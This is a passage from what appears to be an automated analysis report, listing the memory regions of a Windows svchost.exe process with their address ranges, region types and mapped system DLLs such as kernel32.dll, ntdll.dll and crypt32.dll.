pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4026 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4027 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4028 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4029 start_va = 0x140000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4030 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4031 start_va = 0x250000 end_va = 0x251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 4032 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4033 start_va = 0x360000 end_va = 0x4e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 4034 start_va = 0x4f0000 end_va = 0x670fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 4035 start_va = 0x680000 end_va = 0x73ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 4036 start_va = 0x740000 end_va = 0xb32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 4037 start_va = 0xb40000 end_va = 0xb40fff entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 4038 start_va = 0xb50000 end_va = 0xb50fff entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 4039 start_va = 0xb60000 end_va = 0xb60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 4040 start_va = 0xb70000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 4041 start_va = 0xb80000 end_va = 0xbfffff entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 4042 start_va = 0xc00000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 4043 start_va = 0xc80000 end_va = 0xc80fff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 4044 start_va = 0xc90000 end_va = 0xc90fff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 4045 start_va = 0xca0000 end_va = 0xca1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 4046 start_va = 0xcb0000 end_va = 0xcb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 4047 start_va = 0xcc0000 end_va = 0xcc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 4048 start_va = 0xcd0000 end_va = 0xcd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 4049 start_va = 0xce0000 end_va = 0xce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 4050 start_va = 0xcf0000 end_va = 0xcfffff entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 4051 start_va = 0xd00000 end_va = 0xd7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 4052 start_va = 0xd80000 end_va = 0xd80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 4053 start_va = 0xd90000 end_va = 0xd94fff entry_point = 0xd90000 region_type = mapped_file name = "sysmain.dll.mui" filename = "\\Windows\\System32\\en-US\\sysmain.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sysmain.dll.mui") Region: id = 4054 start_va = 0xda0000 end_va = 0xdaffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 4055 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 4056 start_va = 0xe60000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 4057 start_va = 0xf40000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 4058 start_va = 0xf50000 end_va = 0x121efff entry_point = 0xf50000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4059 start_va = 0x1260000 end_va = 0x12dffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 4060 start_va = 0x1300000 end_va = 0x137ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 4061 start_va = 0x13e0000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 4062 start_va = 0x1420000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 4063 start_va = 0x1510000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 4064 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 4065 start_va = 0x1670000 end_va = 0x16effff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 4066 start_va = 0x1700000 end_va = 0x177ffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 4067 start_va = 0x1820000 end_va = 0x189ffff entry_point = 0x0 region_type = private name = "private_0x0000000001820000" filename = "" Region: id = 4068 start_va = 0x18d0000 end_va = 0x194ffff entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 4069 start_va = 0x19a0000 end_va = 0x1a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 4070 start_va = 0x1a40000 end_va = 0x1abffff entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 4071 start_va = 0x1ac0000 end_va = 0x1b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 4072 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 4073 start_va = 0x1c40000 end_va = 0x1cbffff entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 4074 start_va = 0x1d60000 end_va = 0x1d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 4075 start_va = 0x1d70000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 4076 start_va = 0x1e20000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 4077 start_va = 0x1e40000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 4078 start_va = 0x1e50000 end_va = 0x1e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4079 start_va = 0x1f00000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 4080 start_va = 0x1f80000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 4081 start_va = 0x2090000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 4082 start_va = 0x2120000 end_va = 0x221ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 4083 start_va = 0x2250000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 4084 start_va = 0x2320000 end_va = 0x232ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 4085 start_va = 0x2360000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 4086 start_va = 0x23e0000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 4087 start_va = 0x2590000 end_va = 0x260ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 4088 start_va = 0x2690000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 4089 start_va = 0x2710000 end_va = 0x271ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 4090 start_va = 0x2770000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 4091 start_va = 0x27f0000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 4092 start_va = 0x28f0000 end_va = 0x29effff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 4093 start_va = 0x29f0000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 4094 start_va = 0x2af0000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 4095 start_va = 0x2c00000 end_va = 0x2c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 4096 start_va = 0x2ca0000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 4097 start_va = 0x2d20000 end_va = 0x2f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 4098 start_va = 0x2f20000 end_va = 0x371ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 4099 start_va = 0x3720000 end_va = 0x38dffff entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 4100 start_va = 0x3f00000 end_va = 0x42fffff entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 4101 start_va = 0x4300000 end_va = 0x4afffff entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 4102 start_va = 0x4b00000 end_va = 0x5acffff entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 4103 start_va = 0x5ad0000 end_va = 0x6a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000005ad0000" filename = "" Region: id = 4104 start_va = 0x74ea0000 end_va = 0x74ea2fff entry_point = 0x74ea0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 4105 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x77690000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4106 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x777b0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4107 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4108 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4109 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4110 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4111 start_va = 0xff480000 end_va = 0xff48afff entry_point = 0xff480000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4112 start_va = 0x7fef5920000 end_va = 0x7fef593bfff entry_point = 0x7fef5920000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 4113 start_va = 0x7fef5940000 end_va = 0x7fef59a1fff entry_point = 0x7fef5940000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 4114 start_va = 0x7fef59b0000 end_va = 0x7fef59e9fff entry_point = 0x7fef59b0000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 4115 start_va = 0x7fef59f0000 end_va = 0x7fef5ac7fff entry_point = 0x7fef59f0000 region_type = mapped_file name = "rasdlg.dll" filename = "\\Windows\\System32\\rasdlg.dll" (normalized: "c:\\windows\\system32\\rasdlg.dll") Region: id = 4116 start_va = 0x7fef5ad0000 end_va = 0x7fef5adbfff entry_point = 0x7fef5ad0000 region_type = mapped_file name = "apphlpdm.dll" filename = "\\Windows\\System32\\Apphlpdm.dll" (normalized: "c:\\windows\\system32\\apphlpdm.dll") Region: id = 4117 start_va = 0x7fef5ae0000 end_va = 0x7fef5af6fff entry_point = 0x7fef5ae0000 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 4118 start_va = 0x7fef5c00000 end_va = 0x7fef5c20fff entry_point = 0x7fef5c00000 region_type = mapped_file name = "wpdbusenum.dll" filename = "\\Windows\\System32\\wpdbusenum.dll" (normalized: "c:\\windows\\system32\\wpdbusenum.dll") Region: id = 4119 start_va = 0x7fef5c30000 end_va = 0x7fef5c8bfff entry_point = 0x7fef5c30000 region_type = mapped_file name = "netman.dll" filename = "\\Windows\\System32\\netman.dll" (normalized: "c:\\windows\\system32\\netman.dll") Region: id = 4120 start_va = 0x7fef5f70000 end_va = 0x7fef5f83fff entry_point = 0x7fef5f70000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 4121 start_va = 0x7fef61b0000 end_va = 0x7fef621afff entry_point = 0x7fef61b0000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 4122 start_va = 0x7fef6240000 end_va = 0x7fef62c3fff entry_point = 0x7fef6240000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 4123 start_va = 0x7fef6340000 end_va = 0x7fef634efff entry_point = 0x7fef6340000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 4124 start_va = 0x7fef6350000 end_va = 0x7fef6376fff entry_point = 0x7fef6350000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 4125 start_va = 0x7fef6380000 end_va = 0x7fef6461fff entry_point = 0x7fef6380000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 4126 start_va = 0x7fef6550000 end_va = 0x7fef6560fff entry_point = 0x7fef6550000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 4127 start_va = 0x7fef6610000 end_va = 0x7fef6695fff entry_point = 0x7fef6610000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 4128 start_va = 0x7fef66e0000 end_va = 0x7fef6701fff entry_point = 0x7fef66e0000 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll") Region: id = 4129 start_va = 0x7fef6710000 end_va = 0x7fef68bdfff entry_point = 0x7fef6710000 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 4130 start_va = 0x7fef68c0000 end_va = 0x7fef68cffff entry_point = 0x7fef68c0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 4131 start_va = 0x7fef68d0000 end_va = 0x7fef68e1fff entry_point = 0x7fef68d0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 4132 start_va = 0x7fef68f0000 end_va = 0x7fef6921fff entry_point = 0x7fef68f0000 region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll") Region: id = 4133 start_va = 0x7fef6930000 end_va = 0x7fef6948fff entry_point = 0x7fef6930000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 4134 start_va = 0x7fef7550000 end_va = 0x7fef758efff entry_point = 0x7fef7550000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 4135 start_va = 0x7fef77e0000 end_va = 0x7fef789cfff entry_point = 0x7fef77e0000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 4136 start_va = 0x7fef7ab0000 end_va = 0x7fef7d3afff entry_point = 0x7fef7ab0000 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 4137 start_va = 0x7fef8ab0000 end_va = 0x7fef8b2bfff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 4138 start_va = 0x7fef9690000 end_va = 0x7fef969ffff entry_point = 0x7fef9690000 region_type = mapped_file name = "uxsms.dll" filename = "\\Windows\\System32\\uxsms.dll" (normalized: "c:\\windows\\system32\\uxsms.dll") Region: id = 4139 start_va = 0x7fefae90000 end_va = 0x7fefaee6fff entry_point = 0x7fefae90000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4140 start_va = 0x7fefb1a0000 end_va = 0x7fefb1aafff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4141 start_va = 0x7fefb1b0000 end_va = 0x7fefb1d6fff entry_point = 0x7fefb1b0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4142 start_va = 0x7fefb280000 end_va = 0x7fefb28afff entry_point = 0x7fefb280000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 4143 start_va = 0x7fefb290000 end_va = 0x7fefb29bfff entry_point = 0x7fefb290000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 4144 start_va = 0x7fefb2b0000 end_va = 0x7fefb2c8fff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 4145 start_va = 0x7fefb310000 end_va = 0x7fefb324fff entry_point = 0x7fefb310000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 4146 start_va = 0x7fefb400000 end_va = 0x7fefb43cfff entry_point = 0x7fefb400000 region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 4147 start_va = 0x7fefb440000 end_va = 0x7fefb566fff entry_point = 0x7fefb440000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4148 start_va = 0x7fefb570000 end_va = 0x7fefb59ffff entry_point = 0x7fefb570000 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 4149 start_va = 0x7fefb5a0000 end_va = 0x7fefb64bfff entry_point = 0x7fefb5a0000 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 4150 start_va = 0x7fefb670000 end_va = 0x7fefb678fff entry_point = 0x7fefb670000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 4151 start_va = 0x7fefb680000 end_va = 0x7fefb6abfff entry_point = 0x7fefb680000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4152 start_va = 0x7fefb6b0000 end_va = 0x7fefb75bfff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 4153 start_va = 0x7fefb760000 end_va = 0x7fefb78cfff entry_point = 0x7fefb760000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4154 start_va = 0x7fefbb80000 end_va = 0x7fefbb90fff entry_point = 0x7fefbb80000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4155 start_va = 0x7fefbce0000 end_va = 0x7fefbd14fff entry_point = 0x7fefbce0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 4156 start_va = 0x7fefbd40000 end_va = 0x7fefbd8afff entry_point = 0x7fefbd40000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 4157 start_va = 0x7fefc1b0000 end_va = 0x7fefc2dbfff entry_point = 0x7fefc1b0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4158 start_va = 0x7fefc330000 end_va = 0x7fefc523fff entry_point = 0x7fefc330000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 4159 start_va = 0x7fefc9c0000 end_va = 0x7fefc9cbfff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4160 start_va = 0x7fefcb80000 end_va = 0x7fefcb9afff entry_point = 0x7fefcb80000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 4161 start_va = 0x7fefcba0000 end_va = 0x7fefcbbdfff entry_point = 0x7fefcba0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4162 start_va = 0x7fefcbc0000 end_va = 0x7fefcbd1fff entry_point = 0x7fefcbc0000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 4163 start_va = 0x7fefccf0000 end_va = 0x7fefccf9fff entry_point = 0x7fefccf0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 4164 start_va = 0x7fefcd00000 end_va = 0x7fefcd0cfff entry_point = 0x7fefcd00000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 4165 start_va = 0x7fefcdf0000 end_va = 0x7fefce36fff entry_point = 0x7fefcdf0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4166 start_va = 0x7fefd0f0000 end_va = 0x7fefd106fff entry_point = 0x7fefd0f0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4167 start_va = 0x7fefd2e0000 end_va = 0x7fefd30efff entry_point = 0x7fefd2e0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 4168 start_va = 0x7fefd320000 end_va = 0x7fefd38cfff entry_point = 0x7fefd320000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 4169 start_va = 0x7fefd690000 end_va = 0x7fefd69afff entry_point = 0x7fefd690000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 4170 start_va = 0x7fefd6c0000 end_va = 0x7fefd6e4fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4171 start_va = 0x7fefd6f0000 end_va = 0x7fefd72cfff entry_point = 0x7fefd6f0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4172 start_va = 0x7fefd730000 end_va = 0x7fefd73efff entry_point = 0x7fefd730000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4173 start_va = 0x7fefd7e0000 end_va = 0x7fefd7f3fff entry_point = 0x7fefd7e0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4174 start_va = 0x7fefd800000 end_va = 0x7fefd80efff entry_point = 0x7fefd800000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4175 start_va = 0x7fefd8a0000 end_va = 0x7fefd8aefff entry_point = 0x7fefd8a0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4176 start_va = 0x7fefd8b0000 end_va = 0x7fefd8e9fff entry_point = 0x7fefd8b0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 4177 start_va = 0x7fefd8f0000 end_va = 0x7fefd925fff entry_point = 0x7fefd8f0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4178 start_va = 0x7fefd9d0000 end_va = 0x7fefd9e9fff entry_point = 0x7fefd9d0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4179 start_va = 0x7fefd9f0000 end_va = 0x7fefdb56fff entry_point = 0x7fefd9f0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 4180 start_va = 0x7fefdb60000 end_va = 0x7fefdbcafff entry_point = 0x7fefdb60000 region_type = mapped_file name = "kernelbase.dll" filename = 